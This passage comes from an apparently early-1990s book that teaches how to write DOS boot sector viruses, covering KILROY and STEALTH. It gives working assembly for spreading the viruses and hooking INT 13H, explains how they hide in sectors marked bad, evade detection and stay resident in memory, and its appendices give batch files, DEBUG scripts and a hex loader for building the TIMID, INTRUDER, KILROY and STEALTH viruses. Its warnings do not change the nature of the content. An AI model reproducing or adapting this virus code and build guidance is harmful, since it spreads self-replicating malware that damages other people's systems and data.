One complication in infecting a hard drive is that the virus cannot tell where the DOS boot sector is located without loading the partition boot sector (at Track 0, Head 0, Sector 1) and reading the information in it. There is not room to do that in such a simple virus, so we just guess instead. We guess that the DOS boot sector is located at Track 0, Head 1, Sector 1, which will normally be the first sector in the first partition. We can check the last two bytes in that sector to make sure they are 55H AAH. If they are, chances are good that we have found the DOS boot sector. In the relatively rare cases when those bytes belong to some other boot sector, for a different operating system, tough luck. The virus will crash the disk. If the ID bytes 55H AAH are not found in an infection attempt, the virus will be polite and forget about trying to infect the hard drive. It will go for the second floppy instead.

Once a disk has been found to infect, the copy mechanism is trivial. All one need do is:

  1. Read the boot sector from the disk to infect into a data area.
  2. Copy the viral boot sector into this data area, except the disk data at the start of the sector, which is dependent on the drive.
  3. Write the infected sector back out to the disk which is being infected.

That's it. The code for the search/copy mechanism looks like this:

      MOV     BX,OFFSET DISK_BUF        ;read other boot sectors to here
      CMP     BYTE PTR [DRIVE],80H
      JZ      SPREAD2                   ;if it's C, go try to spread to B
      MOV     DX,180H                   ;if it's A, try to spread to C
      CMP     BYTE PTR [HD_COUNT],0     ;see if there is a hard drive
      JZ      SPREAD2                   ;none - try floppy B
      MOV     CX,1                      ;read Track 0, Sector 1
      MOV     AX,201H
      INT     13H
      JC      SPREAD2                   ;on error, go try drive B
      CMP     WORD PTR [NEW_ID],0AA55H  ;make sure it's really a boot sec
      JNZ     SPREAD2
      MOV     DX,180H                   ;and go write the new sector
      MOV     CX,1
      MOV     AX,301H
      INT     13H
      JC      SPREAD2                   ;error writing to C:, try B:
      JMP     SHORT LOOK_SYS            ;no error, look for system files
      MOV     AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
      AND     AL,0C0H
      ROL     AL,1                      ;put bits 6 & 7 into bits 0 & 1
      ROL     AL,1
      INC     AL                        ;add one, so now AL=# of drives
      CMP     AL,2
      JC      LOOK_SYS                  ;no B drive, just quit
      MOV     DX,1                      ;read drive B
      MOV     AX,201H                   ;read one sector
      MOV     CX,1                      ;read Track 0, Sector 1
      INT     13H
      JC      LOOK_SYS                  ;if an error here, just exit
      CMP     WORD PTR [NEW_ID],0AA55H  ;make sure it's really a boot sec
      JNZ     LOOK_SYS                  ;no, don't attempt reproduction
      CALL    MOVE_DATA                 ;yes, move this boot sec in place
      MOV     DX,1
      MOV     AX,301H                   ;and write this boot sector to B:
      MOV     CX,1
      INT     13H

      MOV     SI,OFFSET DSKBASETBL      ;move all of the boot sector code
      REP     MOVSB
      MOV     SI,OFFSET BOOTSEC         ;move initial jmp and the sec ID
      MOV     CX,11
      REP     MOVSB

We place this code in the boot sector after the Disk Parameter Table has been set up, and before the system files are located and loaded.

Taming the Virus

The KILROY virus is very subtle. The average user may never see a clue that it is there. Since there is enough room left, let us be kind, and put in some code to display the message "Kilroy was here!" at boot time. Since DOS hasn't been loaded yet, we can't use DOS to display that message. Instead we use BIOS Interrupt 10H, Function 0EH, and apply it repeatedly, as follows:

      MOV     SI,OFFSET MESSAGE         ;set offset of message up
      MOV     AH,0EH                    ;Execute BIOS INT 10H, Fctn 0EH
      LODSB                             ;get character to display
      OR      AL,AL
      JZ      DM2                       ;repeat until 0
      INT     10H                       ;display it
      JMP     SHORT DM1                 ;and get another

MESSAGE:        DB      'Kilroy was here!',0DH,0AH,0AH,0

There. That will tame the virus a bit. Besides displaying a message, the virus can be noticed as it searches for drives to infect, especially if you have a second floppy. If your hard disk is infected, or if you have no hard disk, you will notice that the second floppy lights up for a second or two before your machine boots up. It didn't used to do that. This is the virus going out to look for a disk in that drive to infect. If there is no disk in the drive, the Interrupt 13H call will return an error and the boot sector will load the operating system and function normally.

This is a pretty rudimentary virus. It can make mistakes when infecting the hard drive and miss the boot sector. It can only replicate when the machine boots up. And it can get stuck in places where it cannot replicate any further (for example, on a system with only one floppy disk and a hard disk). Still, it will do it's job, and travel all around the world if you're not careful with it.

Case Number Four: A Sophisticated Boot Sector Virus

With the basics of boot sectors behind us, let's explore a sophisticated boot sector virus that will overcome the rather glaring limitations of the KILROY virus. Specifically, let's look at a virus which will carefully hide itself on both floppy disks and hard disks, and will infect new disks very efficiently, rather than just at boot time. Such a virus will require more than one sector of code, so we will be faced with hiding multiple sectors on disk and loading them at boot time. To do this in such a way that no other data on a disk is destroyed, while keeping those sectors of virus code well hidden, will require some little known tricks. Additionally, if the virus is to infect other disks after boot-up, it must leave at least a portion of itself memory-resident. The mechanism for making the virus memory resident cannot take advantage of the DOS Keep function (Function 31H) like typical TSR programs. The virus must go resident before DOS is even loaded, and it must fool DOS so DOS doesn't just write over the virus code when it does get loaded. This requires some more tricks, the exploration of which will be the subject of this chapter.

Basic Structure of the Virus

Our new boot sector virus, named STEALTH, will have three parts. First, there is a new boot sector, called the viral boot sector. This is the sector of code that will replace the original boot sector at Track 0, Head 0, Sector 1. Secondly, there is the main body of the virus, which consists of several sectors of code that will be hidden on the disk. Thirdly, there is the old boot sector, which will be incorporated into the virus.

When the viral boot sector is loaded and executed at startup, it will go out to disk and load the main body of the virus and the old boot sector. The main body of the virus will execute, possibly infecting the hard disk, and installing itself in memory (as we will discuss in a moment) so it can infect other disks later. Then it will copy the original boot sector over the viral boot sector at 0000:7C00H, and execute it. The last step allows the disk to boot up in a normal fashion without having to bother writing code for startup. That's important, because STEALTH will infect the partition boot sector on hard drives. The code in that sector is completely different from DOS's boot sector. Since STEALTH saves the original boot sector, it will not have to go around carrying two boot sectors with it, one for floppies and one for hard disks. Instead, it simply gobbles up the code that's already there and turns it to its own purposes. This strategy provides the added benefit that the STEALTH virus will be completely operating system independent.

The Copy Mechanism

The biggest part of designing the copy mechanism is deciding how to hide the virus on disk, so it does not interfere with the normal operation of the computer (unless it wants to).

Before you hide anything, you'd better know how big it is. It's one matter to hide a key to the house, and quite another to hide the house itself. So before we start deciding how to hide STEALTH, it is important to know about how big it will be. Based on the size of the INTRUDER virus in Chapter 4, we might imagine STEALTH will require five or ten sectors. With a little hindsight, it turns out that six will be sufficient. So we need a method of quickly and effectively hiding 6 sectors on each of the various types of floppy disks, and on hard disks of all possible types.

It would be wonderful if we could make the virus code totally invisible to every user. Of course, that isn't possible, although we can come very close. One tricky way of doing it is to store the data on disk in an area that is completely outside of anything that DOS (or other operating systems) can understand. For floppy disks, this would mean inventing a non-standard disk format that could contain the DOS format, and also provide some extra room to hide the virus code in. DOS could use the standard parts of the disk the way it always does, and the non-standard parts will be invisible to it. Unless someone writes a special program that a) performs direct calls to the BIOS disk functions and b) knows exactly where to look, the virus code will be hidden on the disk. This approach, although problematic for floppies, will prove useful for hiding the virus on the hard disk.

In the case of floppies, an alternative is to tell DOS to reserve a certain area of the disk and stay away from it. Then the virus can put itself in that area and be sure that DOS will not see it or overwrite it. This can be accomplished by manipulating the File Attribute Table. This method was originally employed by the Pakistani Brain virus, which was written circa 1986. Our STEALTH virus will use a variant of this method here to handle 360 kilobyte and 1.2 megabyte disk formats for 5 1/4" diskettes, and 720 kilobyte and 1.44 megabyte 3 1/2" diskette formats.

Let's examine the 3 1/2" 720 kilobyte diskette format in detail to see how STEALTH approaches hiding itself. This kind of diskette has 80 tracks, two sides, and nine sectors per track. The virus will hide the body of its code in Track 79, Side 1, Sectors 4 through 9. Those are the last six sectors on the disk, and consequently, the sectors least likely to contain data. STEALTH puts the main body of its code in sectors 4 through 8, and hides the original boot sector in sector 9. However, since DOS normally uses those sectors, the virus will be overwritten unless it has a way of telling DOS to stay out. Fortunately, that can be done by modifying the FAT table to tell DOS that those sectors on the disk are bad.

DOS organizes a diskette into clusters, which consist of one or more contiguous sectors. Each cluster will have an entry corresponding to it in the FAT table, which tells DOS how that cluster is being used. The FAT table consists of an array of 12 bit entries, with as many entries as there are clusters on the diskette. If a cluster is empty, the corresponding FAT entry is 0. If it is in the middle of a file, the FAT entry is a pointer to the next cluster in the file; if it is at the end of a file, the FAT entry is FF8 through FFF. A cluster may be marked as bad (to signal DOS that it could not be formatted properly) by placing an FF7 Hex in its FAT entry.

When DOS sees an FF7 in a FAT entry, it does not use the sectors in that cluster for data storage. DOS itself never checks those clusters to see if they are bad, once they are marked bad. Only the FORMAT program marks clusters bad when it is in the process of formatting a disk. From there on out, they are never touched by DOS. Thus a virus can mark some clusters bad, even though they're really perfectly fine, and then go hide there, assured that DOS will leave it alone. On a 720 kilobyte diskette, there are two sectors in each cluster. Thus, by marking the last three clusters on the disk as bad in the two FAT tables, the virus can preserve six sectors at the end of the diskette.

In the event that the diskette is full of data, the virus should ideally be polite, and avoid overwriting anything stored in the last clusters. This is easily accomplished by checking the FAT first, to see if anything is there before infecting the disk. Likewise, if for some reason one of those sectors is really bad, the virus should stop its attempt to copy itself to the diskette gracefully. If it does not, the diskette could end up being a useless mess (especially if it is a boot disk) and it wouldn't even contain a working copy of the virus. If there is a problem at any stage of the infection process, the virus will simply abort, and no permanent damage will be done to the disk. On the other hand, we could design the virus to be more agressive. It might be somewhat more successful (from a neo-darwinian point of view) if it infects the diskette even when the disk is full, and it will have to overwrite a file to infect the disk successfully. While we do not implement such an approach here, it would actually be easier than being polite.

Similar strategies are employed to infect 360 kilobyte and 1.2 megabyte 5 1/4" diskettes, and 1.44 megabyte 3 1/2" diskettes, as explained in detail in the code in Appendix E. There do exist other diskette formats, such as 320 kilobyte 5 1/4", which the virus will simply stay away from. If STEALTH encounters anything non-standard, it just won't infect the diskette. It will have plenty of formats that it can infect, and obsolete or non-standard formats are relatively rare. Failing to infect the one-in-a-thousand odd ball is no great loss, and it saves a lot of code. As an exercise, you may want to modify the virus so it can infect some different formats.

Hiding data on a hard drive is a different matter. There are so many different drives on the market that it would be a major effort for STEALTH to adapt to each disk drive separately. Fortunately, hard drives are not set up to be 100% occupied by DOS. There are non-DOS areas on every disk. In particular, the first boot sector, which contains the partition table, is not a part of DOS. Instead, DOS has a partition assigned to it, for its own use. Any other area on disk does not belong to DOS.

As it turns out, finding a single area on any hard disk that does not belong to DOS, is not too difficult. If you take the DOS program FDISK and play with it a little, creating partitions on a hard drive, you'll soon discover something very interesting: Although the first boot sector is located at Track 0, Head 0, Sector 1, FDISK (for all the versions I've tested) does not place the start of the first partition at Track 0, Head 0, Sector 2. Instead, it always starts at Track 0, Head 1, Sector 1. That means that all of Track 0, Head 0 (except the first sector) is free space. Even the smallest ten megabyte disk has 17 sectors per track for each head. That is plenty of room to hide the virus in. So in one fell swoop, we have a strategy to place the virus on any hard disk. (By the way, it's only fair to mention that some low level hard disk formatting programs do use those sectors to store information in. However, letting the virus overwrite them does not hurt anything at all.)

Once a strategy for hiding the virus has been developed, the copy mechanism follows quite naturally. To infect a disk, the virus must:

  1. Determine which type of disk it is going to infect, a hard disk or one of the four floppy disk types.
  2. Determine whether that disk is already infected, or if there is no room for the virus. If so, the copy mechanism should not attempt to infect the disk.
  3. Update the FAT tables (for floppies) to indicate that the sectors where the virus is hidden are bad sectors.
  4. Move all the virus code to the hidden area on disk.
  5. Read the original boot sector from the disk and write it back out to the hidden area in the sector just after the virus code.
  6. Take the disk parameter data from the original boot sector (and the partition information for hard disks) and copy it into the viral boot sector. Write this new boot sector to disk as the boot sector at Track 0, Head 0, Sector 1.

In the code for STEALTH, the copy mechanism is broken up into several parts. The two main parts are routines named INFECT_HARD, which infects the hard disk, and INFECT_FLOPPY, which infects all types of floppy drives. The INFECT_FLOPPY routine first determines which type of floppy drive it is dealing with by reading the boot sector and looking at the number of sectors on the drive (the variable SEC_COUNT in Table 2). If it finds a match, it calls one of the routines INFECT_360, INFECT_720, INFECT_12M or INFECT_144M, which goes through the details of infecting one of the particular diskette types. All of these routines are listed in Appendix E.

The Search Mechanism

Searching for uninfected disks is not very difficult. We could put an ID byte in the viral boot sector so when the virus reads the boot sector on a disk and finds the ID, it knows the disk is infected. Otherwise it can infect the disk. The STEALTH virus uses its own code as an ID. It reads the boot sector and compares the first 30 bytes of code (starting after the boot sector data area) with the viral boot sector. If they don't match, the disk is ripe for infection.The code for a compare like this is incorporated into the routine IS_VBS:

        push    si                    ;save these
        push    di
        mov     di,OFFSET BOOT        ;set up for a compare
        mov     cx,15
        repz    cmpsw                 ;compare 30 bytes
        pop     di                    ;restore these
        pop     si
        ret                           ;return with z properly set

which returns a z flag if the disk is infected, and nz if it is not. BOOT is the label for the start of the code in the boot sector. BOOT_START is the beginning of the boot sector at 7C00H. IS_VBS is called only after a boot sector is read from the disk by the GET_BOOT_SEC routine into the scratch data area SCRATCHBUF. The code to read the boot sector is:

        push    ax
        mov     bx,OFFSET SCRATCHBUF  ;buffer for boot sec
        mov     dl,al                 ;drive to read from
        mov     dh,0                  ;head 0
        mov     ch,0                  ;track 0
        mov     cl,1                  ;sector 1
        mov     al,1                  ;read 1 sector
        mov     ah,2                  ;BIOS read function
        int     13H                   ;go do it
        pop     ax

which reads the boot sector from the drive specified in al.

So far, fairly easy. However, the more serious question in designing a search mechanism is when to search for a disk to infect. Infecting floppy disks and hard disks are entirely different matters. A user with a hard disk on his machine will rarely, if ever, boot from a floppy. Often, booting from a floppy will be an accident. For example a user might leave a diskette in drive A when he goes home from work, and then comes in the next morning and turn his machine on. Normally such a disk will not be a boot disk with DOS on it, and it will cause an error. The user will see the error and take it out to boot from the hard drive as usual. However, the boot sector on the floppy disk was loaded and executed. The infection mechanism for moving from a floppy disk to a hard disk must take advantage of this little mistake on the user's part to be truly effective. That means hard drives should be infected at boot time. Then if a user leaves an infected diskette in drive A and turns on his machine, his hard drive is infected immediately. No other operation is necessary.

On the other hand, once a hard disk has the virus on it, it may come into contact with dozens or even hundreds of floppy diskettes during one day. In order to infect them, the virus must be present in memory when the diskettes are in the floppy drive. That means when the virus is loaded from a hard drive, it must become memory-resident and stay there. Then, it must activate whenever some appropriate action is performed on the floppy diskette by other programs. In this way, the computer becomes an engine for producing infected floppy disks.

So what action on the floppy drive should trigger the infection sequence? It should certainly be something that happens frequently, yet at the same time it should require a bare minimum of extra disk activity. Both search and infection should happen simultaneously, since floppy disks can easily be removed and inserted. If they were not simultaneous, the search could indicate an uninfected diskette on drive A. Then the infection routine could attempt to infect an already infected disk if the user were given time to change disks before the infection routine got around to doing its job.

An ideal time to check the floppy disk for the virus is when a particular sector is read from the disk. That can be a frequent or rare occurrence, depending on which sector we choose as a trigger. A sector near the end of the disk might be read only rarely, since the disk will rarely be full. At the other extreme, if it were to trigger when the boot sector itself is read, the disk would be infected immediately, since the boot sector on a newly inserted floppy drive is read before anything else is done. The STEALTH virus takes the most agressive approach possible. It will go into the infection sequence any time that the boot sector is read. That means that when the virus is active, any time you so much as insert a floppy disk into the drive, and do a directory listing (or any other operation that reads the disk), it will immediately become infected. The virus must churn out a lot of floppies in order for a few to get booted from.

Figure 15: Infect Logic

Figure 15: Infect Logic

To implement this search mechanism, the STEALTH virus must intercept Interrupt 13H, the BIOS disk service, at boot time, and then monitor it for attempts to access the boot sector. When such an attempt is made, the virus will carefully lay it aside for a bit while it loads the boot sector from that diskette for its own use, checks it with IS_VBS, and possibly infects the diskette. After the virus is finished with its business, it will resume the attempt to read the disk and allow the program that wanted to access the boot sector to continue its operation unhindered.

Code for this type of an interrupt trap looks like this:

        sti                    ;interrupts on
        cmp     ah,2           ;we want to intercept reads
        jnz     I13R           ;pass anything else to BIOS
        cmp     dh,0           ;is it head 0?
        jnz     I13R           ;nope, let BIOS handle it
        cmp     ch,0           ;is it track 0?
        jnz     I13R           ;nope, let BIOS handle it
RF0:    cmp     dl,80H         ;is it the hard disk?
        jnc     I13R           ;yes, let BIOS handle read
        cmp     cl,1           ;no, floppy, is it sector 1?
        jnz     I13R           ;no, let BIOS handle it
        call    CHECK_DISK     ;is floppy already infected?
        jz      I13R           ;yes so let BIOS handle it
        call    INFECT_FLOPPY  ;else go infect the diskette
                               ;and then let BIOS go
                               ;do the original read
I13R:   jmp     DWORD PTR cs:[OLD_13H]  ;BIOS Int handler

where OLD_13H is the data location where the original Interrupt 13H vector is stored before it is replaced with a vector to INT_13H. CHECK_DISK simply calls GET_BOOT_SEC and IS_VBS after saving all the registers (to pass them to the BIOS later to do the originally requested read).

The Anti-Detection Mechanism

The STEALTH virus uses some more advanced anti-detection logic than previous viruses we've studied. They are aimed not only at avoiding detection by the average user, who doesn't know computers that well, but also at avoiding detection by a user armed with sophisticated software tools, including programs designed specifically to look for viruses.

The main part of the STEALTH virus is already hidden on disk in areas which the operating system thinks are unusable. On floppy disks, only the viral boot sector is not hidden. On hard drives, the whole virus is exposed in a way, since it is sitting on Track 0, Head 0. However, none of those sectors are accessed by programs or the operating system, although the FDISK program rewrites the partition boot sector.

Since the virus is already intercepting Interrupt 13H to infect disks, it is not too difficult to add a little functionality to the viral interrupt handler to hide certain sectors from prying eyes. For example, consider an attempt to read the boot sector on a 1.2 megabyte diskette: STEALTH traps the request to read. Instead of just blindly servicing it, the virus first reads the boot sector into its own buffer. There, it checks to see if this sector is the viral boot sector. If not, it allows the caller to read the real boot sector. On the other hand, if the real boot sector belongs to STEALTH, it will read the old boot sector from Track 79, Head 1, Sector 15, and pass that to the caller instead of the viral boot sector. In this way, the viral boot sector will be invisible to any program that uses either DOS or BIOS to read the disk (and the exceptions to that are pretty rare), provided the virus is in memory. In the same way, the BIOS write function can be redirected to keep away from the viral boot sector, redirecting any attempts to write there to the old sector.

Figure 16: Viral Read Logic.

Figure 16: Viral Read Logic.

In addition to hiding the boot sector, one can hide the rest of the virus from any attempts to access it through Interrupt 13H. On hard drives, STEALTH does not allow one to read or write to sectors 2 through 7 on Track 0, Head 0, because the virus code is stored there. It fools the program making a read attempt by returning a data block of zeros, It fools the program trying to write those sectors by returning as if it had written them, when in fact the writing was bypassed.

Additionally, any attempt to read or write to sectors on the floppy drive could be trapped and returned with an error (carry flag c set). That is what one would expect, if the clusters marked as bad in the FAT really were bad. STEALTH does not go that far though, since DOS protects those sectors pretty well already. You may want to try to incorporate that extension in as an exercise, though.

With these anti-detection procedures in place, the main body of the virus is well hidden, and when any program looks at the boot sector, it sees the old boot sector. The only ways to detect the virus on a disk are (a) to write a program to access the disk with the hardware directly, or (b) to boot from an uninfected disk and examine the boot sector of the potentially infected disk. Of course, the virus is not very well hidden in memory.

Installing the Virus in Memory

Before the virus passes control to the original boot sector, which will load DOS, it must set itself up in memory somewhere where it won't get touched. To do this outside of the control of DOS is a bit tricky. The basic idea involved here is that DOS uses a number stored at 0040:0013 Hex, which contains the size of available memory in kilobytes. This number is set up by the BIOS before it reads the boot sector. It may have a value ranging up to 640 = 280H. When the BIOS sets this parameter up, it looks to see how much memory is actually installed in the computer, and reports it here. However, something could come along before DOS loads and change this number to a smaller value. In such a situation, DOS will not use all the memory that is available in the system, but only what it's told to use by this memory size variable. Memory above that point will be reserved, and DOS won't touch it.

The strategy for loading STEALTH into memory is to put it in the highest physical memory available, determined by the memory size, as the BIOS has set it. Then STEALTH subtracts a sufficient number of kilobytes from the memory size variable to protect itself. In this way, that memory will be kept away from DOS, and used by STEALTH when Interrupt 13H is called.

The two responsibilities of the viral boot sector are to load the main body of the virus into memory, and then to load and execute the original boot sector. When the BIOS loads the viral boot sector (and it loads whatever is placed at Track 0, Head 0, Sector 1), that sector first moves itself into the highest 512 bytes of memory (within the 640 kilobyte limit). In a machine with 640K of memory, the first unoccupied byte of memory is at A000:0000. The boot sector will move itself to the first 512 bytes just below this. Since that sector was compiled with an offset of 7C00 Hex, it must relocate to 9820:7C00 Hex (which is right below A000:0000), as desired. Next, the viral boot sector will read the 6 sector long main body of the virus into memory just below this, from 9820:7000 to 9820:7BFF. The original boot sector occupies 9820:7A00 to 9820:7BFF (since it is the sixth of six sectors loaded). The viral boot sector then subtracts 4 from the byte at 0040:0013H to reserve 4 kilobytes of memory for the virus. Next, the viral boot sector reroutes Interrupt 13H to the virus. Finally, it moves the original boot sector from 9820:7A00 to 0000:7C00 and executes it. The original boot sector proceeds to load DOS and get the computer up and running, oblivious to the fact that the system is infected.

Figure 17: The Virus in RAM.

Figure 17: The Virus in RAM.

A Word of Caution

The STEALTH virus code is listed in Appendix E. At the risk of sounding like a broken record, I will say this virus is highly contagious. You simply don't know when it is there. It hides itself pretty well, and once it's infected several disks, it is easy to forget where it's gone. At that point, you can kiss it goodbye. Once a floppy disk is infected, you should re-format it to get rid of the virus. If your hard disk gets infected, the safest way to be rid of it is to do a low level format of Track 0, Head 0. Of course, IDE drives won't let you do that too easily. Alternatively, you can write a program that will save and restore your partition sector, or you can run FDISK on the drive to overwrite the partition sector. Overwriting the partition sector will keep the virus from executing, but it won't clean all its code off your system. Obviously, if you're going to experiment with this virus, I suggest you only do so on a system where you can afford to lose all your data. Experiment with this virus at your own risk!

Appendix A: The TIMID Virus

The assembly language listings of all viruses are provided in the appendicies. They have been designed so they can be assembled using either Microsoft Macro Assembler (MASM), Turbo Assembler (TASM), or the shareware program A86. Batch files are also listed which carry out the assembly with all three assemblers and get the viruses into an executable state.

Additionally, Intel Hex listings of all viruses in this book are provided here, in the appendicies. This will enable the reader who has only a word processor and the BASIC language to get the viruses into his computer and running. In Appendix F you will find a BASIC listing of the Hex Loader which will transform the Intel Hex listings of the viruses into executable programs. All you have to do is type it in to your computer using the BASIC editor and save it. Then, to create a virus, type in the Hex listing exactly as printed here, using a word processor, and save it to a file (e.g. TIMID.HEX). When you run the Hex Loader, it will prompt you for the Hex file name, and the Binary file name. Just enter the names, and it will create the Binary file from the Hex file. If you made any errors in typing the Hex file in, the loader will alert you to the error and tell you which line number it is on.

For example, to create TIMID.COM from TIMID.HEX, run the loader and it will prompt you "Source file?," at which you should enter "TIMID.HEX". Next, the loader will prompt you "Destination file?" and you should enter "TIMID.COM". It will run for a few seconds and then tell you it is finished. When you exit from BASIC, you should have a file TIMID.COM on disk. This is the live virus.

Here is the complete Intel Hex listing for the TIMID virus

[see lbbdisk.zip]

Here is the assembly language listing for the TIMID virus (TIMID.ASM):

[see lbbdisk.zip]

In order to create a working copy of the virus (i.e. an infected COM file), you will also need the very short program SHELLT.ASM:

[see lbbdisk.zip]

In order to create a working virus under Turbo Assembler, create the following batch file (MAKET_T.BAT), along with the above two ASM files, put them all in the same directory, and execute the batch file. The end result will be a file TIMID.COM, which is a COM file with the virus attached to it.

[see lbbdisk.zip]

If you prefer to use the Microsoft Assembler (MASM), you'll need two files, MAKET_M.BAT:

[see lbbdisk.zip]


[see lbbdisk.zip]

When you run MAKET_M.BAT, make sure the DOS program DEBUG is in your path, so it will execute when called by the batch file. The reason you need DEBUG with MASM, but not with TASM is that MASM tries to outsmart the programmer about the type of jump instructions to code into the program, so instead of coding a near jump, it can automatically switch it over to a short jump. This is simply not acceptable, so we use DEBUG to correct MASM.If you prefer to assemble the virus using A86, create and execute the following batch file (MAKET_A.BAT):

[see lbbdisk.zip]

Appendix B: The INTRUDER Virus

WARNING! The INTRUDER virus replicates without any notice or clue as to where it is going. It is an extremely contagious virus which will infect your computer, and other computers, if you execute it. Only the most sophisticated computer users should even contemplate assembling the following code. IT IS PROVIDED HERE FOR INFORMATION PURPOSES ONLY. ASSEMBLE IT AT YOUR OWN RISK!!

The Intel HEX listing for the Intruder virus is as follows:

[see lbbdisk.zip]

The assembly language listing of the Intruder virus follows:

[see lbbdisk.zip]

To compile the INTRUDER virus using MASM, just type

masm intruder;
link intruder;

If you use TASM instead, just substitute TASM for MASM in the above. If you use A86, compile as follows:

a86 intruder.asm intruder.obj
link intruder;

Quite simple. You end up with INTRUDER.EXE, which is an infected file.

Since the virus infects files without warning, it is essentially invisible. The following Turbo Pascal program, FINDINT, will locate the program on any disk drive. Just call it as "FINDINT D" to search the D: drive for infected files, etc.

[see lbbdisk.zip]

Appendix C: A Basic Boot Sector

The gutted out boot sector, BOOT.ASM which is not a virus, but which forms the core for the Kilroy virus is listed here as an ASM file. Neither HEX listing nor batch files are provided.

[see lbbdisk.zip]

Appendix D: The KILROY Virus

WARNING: If you attempt to create a disk infected with the KILROY virus, MARK IT CAREFULLY, and DO NOT BOOT WITH IT, unless you are absolutely sure of what you are doing! If you are not careful you could cause a run-away infection!! Remember that any disk infected with this virus will display the message "Kilroy was here" when it boots, so watch out for that message if you have ever allowed the KILROY virus to execute on your system! PROCEED AT YOUR OWN RISK!

The HEX listing of the Kilroy virus is as follows:

[see lbbdisk.zip]

To load it onto a floppy disk, put a disk in drive A and format it using the /s option to put DOS on the disk. Create the HEX file KILROY.HEX from the above listing, and load it using LOAD.BAS in Appendix F. Then create a batch file KILROY_H.BAT that looks like this:

debug kilroy.com <kilroy_h.dbg

and a file KILROY_H.DBG that looks like this:

r cx
w 100 0 0 1

and execute KILROY_H with the newly formatted floppy disk in drive A. The boot sector virus will be put on drive A. If you boot from that disk even once, your hard disk will be promptly infected, and you will have to reformat it to get rid of the virus, unless you use the tools in Appendix G. DO NOT DO IT UNLESS YOU ARE SURE YOU KNOW WHAT YOU ARE DOING.

The assembly language source listing for the Kilroy virus (KILROY.ASM), in its entirety, is as follows:

[see lbbdisk.zip]

To assemble this, you will need to create the file KILROY.DBG, as follows:

r cx
w 7C00 0 0 1

If you want to use the Microsoft Assembler, create the batch file KILROY_M.BAT as follows:

masm kilroy;
link kilroy;
exe2bin kilroy kilroy.com
debug kilroy.com <kilroy.dbg
del kilroy.obj
del kilroy.exe
del kilroy.com

and execute it with a freshly formatted disk (using the /s option) in drive A. If you want to use the Turbo Assembler, create KILROY_T.BAT:

tasm kilroy;
link kilroy;
exe2bin kilroy kilroy.com
debug kilroy.com <kilroy.dbg
del kilroy.obj
del kilroy.map
del kilroy.exe
del kilroy.com

and do the same. If you are using A86, then the batch file KILROY_A.BAT,

a86 kilroy.asm kilroy.com
debug kilroy.com <kilroy.dbg
del kilroy.com


Appendix E: The STEALTH Virus

WARNING: The STEALTH virus is extremely contagious. Compile any of the following code at your own risk! If your system gets infected with STEALTH, I recommend that you take a floppy boot disk that you are certain is free from infection (borrow one from somebody else if you have to) and turn your computer on with it in your A: drive. Don't boot off of your hard drive! Next, format your hard drive using your low level hard disk formatter (which should have come with your machine). Then run FDISK and FORMAT to restore your hard disk. Once you have a clean hard disk, format all floppy disks that may have been in your machine during the time it was infected. If there is any question about it, format it. This is the ONLY WAY you are going to get rid of the infection! In other words, unless you really know what you're doing, you're probably better off not trying to use this virus.

So the following listings are provided FOR INFORMATION PURPOSES ONLY!

Here is the HEX listing for STEALTH:

[see lbbdisk.zip]

Here is the assembly language listing for the STEALTH virus:

[see lbbdisk.zip]

To compile STEALTH using MASM, generate a file STEALTH.COM with the following commands:

masm stealth;
link stealth;
exe2bin stealth
ren stealth.bin stealth.com

To compile with TASM, execute the following steps:

tasm stealth;
tlink /t stealth;

Finally, to compile with A86, just type

A86 stealth.asm stealth.com

Once you have created STEALTH.COM, you must get it into the right place on disk, which is not too easy without a special program. The following Turbo Pascal program, PUT_360, uses the file STEALTH.COM to put the STEALTH virus on a 360 kilobyte diskette. It formats the extra track required, and then moves the original boot sector, puts the main body of the virus in place, and puts the viral boot sector in Track 0, Head 0, Sector 1.

[see lbbdisk.zip]

Compile this program with the command line "tpc put_360" using the Turbo Pascal command line compiler. To put STEALTH on a disk, format a 360 kilobyte floppy disk (using the /s option to make it a boot disk) and then run PUT_360 in the same directory as STEALTH.COM. The program disk has PUT programs for other formats, or you can modify PUT_360 to do it.

Appendix F: The HEX File Loader

The following basic program, LOAD.BAS, will translate the HEX listings in the previous four appendicies into COM files. The basic program will run under GWBASIC or BASICA. You may type it in yourself using BASIC, and then type in the HEX files using a word processor.

Using LOAD, you can create functioning viruses with this book, without buying an assembler like MASM or TASM. Each of the previous appendicies give you the details of how to get each particular virus up and running.

When the program runs, you will be prompted for both source and destination file names. When asked for the source file, enter the HEX file name, including the "HEX". When asked for the destination file name, enter the COM file name that you want to create, including the "COM". The program will then read and translate the HEX file. If everything goes OK, it will report "Translation complete." If there is a problem, it will report "Checksum error in line XX," which means that you made a mistake typing line XX in. You should go back and check your HEX file for mistakes, correct them, and try to run LOAD again.

For example, suppose you had created the VCOM.HEX file with your word processor. Then to create a COM file from it, you would load the LOAD program like this:


The dialogue would then look something like this:

Source file? VCOM.HEX
Destination file? VCOM.COM
Translation complete.

and the file VCOM.COM would now be on your disk, ready to execute.The source code for LOAD.BAS is as follows:

[see lbbdisk.zip]

Note that the HEX files and loader presented in this book are a little different from the usual. There is a reason for that.

Appendix G: BIOS and DOS Interrupt Functions

All BIOS and DOS calls which are used in this book are documented here. No attempt is made at an exhaustive list, since such information has been published abundantly in a variety of sources. See Appendix H for some books with more complete interrupt information.

Interrupt 10H: BIOS Video Services

Function 0E Hex: Write TTY to Active Page

Registers     ah = 0EH 
              al = Character to display 
              bl = Forground color, in graphics modes
Returns:      None

This function displays the character in al on the screen at the current cursor location and advances the cursor by one position. It interprets al=0DH as a carriage return, al=0AH as a line feed, al=08 as a backspace, and al=07 as a bell. When used in a graphics mode, bl is made the foreground color. In text modes, the character attribute is left unchanged.

Interrupt 13H: BIOS Disk Services

Function 0: Reset Disk System

Registers:    ah = 0
Returns:      c =  set on error

This function resets the disk system, sending a reset command to the floppy disk controller.

Function 2: Read Sectors from Disk

Registers:    ah = 2
              al = Number of sectors to read on same track, head
              cl = Sector number to start reading from
              ch = Track number to read
              dh = Head number to read
              dl = Drive number to read
              es:bx = Buffer to read sectors into
Returns:      c = set on error
              ah = Error code, set as follows (for all Int 13H fctns)
                      80 H - Disk drive failed to respond 
                      40 H - Seek operation failed 
                      20 H - Bad NEC controller chip 
                      10 H - Bad CRC on disk read 
                      09 H - 64K DMA boundary crossed 
                      08 H - Bad DMA chip 
                      06 H - Diskette changed 
                      04 H - Sector not found 
                      03 H - Write on write protected disk 
                      02 H - Address mark not found on disk 
                      01 H - Bad command sent to disk i/o

